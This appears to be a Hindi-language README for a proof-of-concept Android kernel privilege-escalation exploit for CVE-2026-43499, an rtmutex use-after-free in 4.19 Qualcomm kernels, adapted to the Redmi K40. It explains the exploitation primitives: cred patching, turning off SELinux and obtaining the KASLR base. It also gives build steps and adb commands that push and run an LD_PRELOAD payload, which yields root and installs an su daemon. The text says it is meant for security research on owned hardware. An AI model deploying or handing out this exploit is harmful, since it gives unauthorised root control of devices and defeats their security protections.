
Android kernel LPE PoC CVE-2026-43499 के लिए, 4.19 Qualcomm kernels में rtmutex use-after-free, Redmi K40 के लिए LD_PRELOAD root payload के साथ अनुकूलित।
स्थानीय विशेषाधिकार वृद्धि जो CVE-2026-43499 का शोषण करती है — एक rtmutex
remove_waiter() बग जो waiter के kernel स्टैक पर एक struct rt_mutex_waiter को
dangling छोड़ देता है (kernel/locking/rtmutex.c, CWE-416 use-after-free)।
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) से एक Qualcomm Android 4.19.x
vendor kernel परिवार के लिए अनुकूलित।
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() proxy-lock rollback remove_waiter() को कॉल करता है जो
waiter->task के बजाय current पर कार्य करता है — pi_lock के बिना
rb-tree dequeue, dangling pi_blocked_on, जिससे kernel-stack UAF होता है।
5.10/5.15/6.1/6.6/6.12/6.18/7.0 fixed संस्करणों तक प्रभावित; 4.19 का
कोई backport नहीं है (EOL), इसलिए 4.19.157-perf प्रभावित है।src/ अनुकूलित exploit स्रोत (preload.so)
src/targets/oplus-4.19.157-perf/target.h प्रति-डिवाइस offset तालिका (kallsyms-व्युत्पन्न)
prebuilt/ संकलित artifacts (aarch64)
adaptation-4.19.patch upstream Pixel (6.x) कोड के विरुद्ध पूर्ण diff
Makefile, build.sh build प्रवेश बिंदु
configfs_read_file / configfs_write_bin_file को .read/.write
fops स्लॉट (4.19 हस्ताक्षर) पर रखा गया है, और read primitive सरलीकृत
count/page/ppos=0 fake-buffer लेआउट का उपयोग करता है/dev/ashmem) इस kernel पर अनुपस्थित है — उपसर्ग लंबाई 0selinux_blob_sizes 4.19 पर मौजूद नहीं है → सीधा cred->security
(SELINUX_CRED_BLOB_OFF=0); struct seccomp में filter_count नहीं हैASHMEM_MISC_FOPS = miscdevice.fops स्लॉट (ashmem_misc + 0x10)Android NDK के साथ Linux / WSL:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
आउटपुट: prebuilt/preload.so (LD_PRELOAD payload) और एक embedded
su_daemon PIE।
एक ADB shell की आवश्यकता है (एक सामान्य, unprivileged adb shell पर्याप्त है —
exploit पूरी तरह unprivileged चलता है और स्वयं को escalate करता है)।
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
वैकल्पिक one-liner वेरिएंट:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
प्रत्येक pr_* पंक्ति तत्काल write()+fsync() के साथ डिस्क पर mirror की जाती है
ताकि trail kernel panic/reboot के बाद भी बचा रहे:
/sdcard/Download/log_<timestamp>.txt
यदि /sdcard उपलब्ध न हो तो fallback पथ: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
मुख्य log मार्कर:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — payload लोड हुआslide-kaslr-ok ... base=... — KASLR base प्राप्त हुआpipe-physrw-summary ... root=1 ... — phys RW स्थापितuid_before=... uid_after=0 ... selinux=1->0 — creds पैच किए गएUNVERIFIED प्रिंट करता है — यही
चरण है जिसे इस log का उपयोग करके प्रति-डिवाइस ट्यून करना है।target.h में चिह्नित हैं और
रनटाइम पर UNVERIFIED के रूप में लॉग किए जाते हैं। fsync log का उपयोग करके
डिवाइस पर पुनरावृत्ति करें।CONFIG_STATIC_USERMODEHELPER=y modprobe-path तरकीबों को अक्षम
करता है; प्राथमिक पथ सीधा cred पैचिंग है।/proc/kallsyms) और /proc/slabinfo के माध्यम से सत्यापित करें।Apache-2.0 (upstream: NebuSec/CyberMeowfia)। केवल सुरक्षा अनुसंधान और अधिकृत डिवाइस रूटिंग के लिए। अपने स्वामित्व वाले हार्डवेयर पर उपयोग करें।